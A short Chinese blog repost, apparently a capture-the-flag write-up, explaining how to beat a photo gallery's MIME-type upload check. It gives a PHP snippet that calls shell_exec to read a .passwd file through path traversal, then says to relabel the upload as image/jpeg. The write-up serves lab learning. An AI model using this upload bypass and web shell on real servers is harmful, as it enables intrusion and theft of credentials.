首页 > 其他 > 详细

File upload - MIME type

时间:2019-12-20 15:47:47      阅读:87      评论:0      收藏:0      [点我收藏+]

Your goal is to hack this photo galery by uploading PHP code.
Retrieve the validation password in the file .passwd.
>

 

修改mime type类型即可,常用类型:

  • 超文本标记语言:.html text.html

  • 普通文件:.txt text/plain

  • RTF文件:.rtf application/rtf

  • GIF图形:.gif image/gif

  • JPEG图形:.jpeg,.jpg image/jpeg

 

 

<?php
  $a = shell_exec("cat ../../../.passwd");

  echo "</pre>$a</pre>";
?>

再上传php中将mime type 更改为image/jpeg

File upload - MIME type

原文:https://www.cnblogs.com/abbin-blog/p/12073327.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!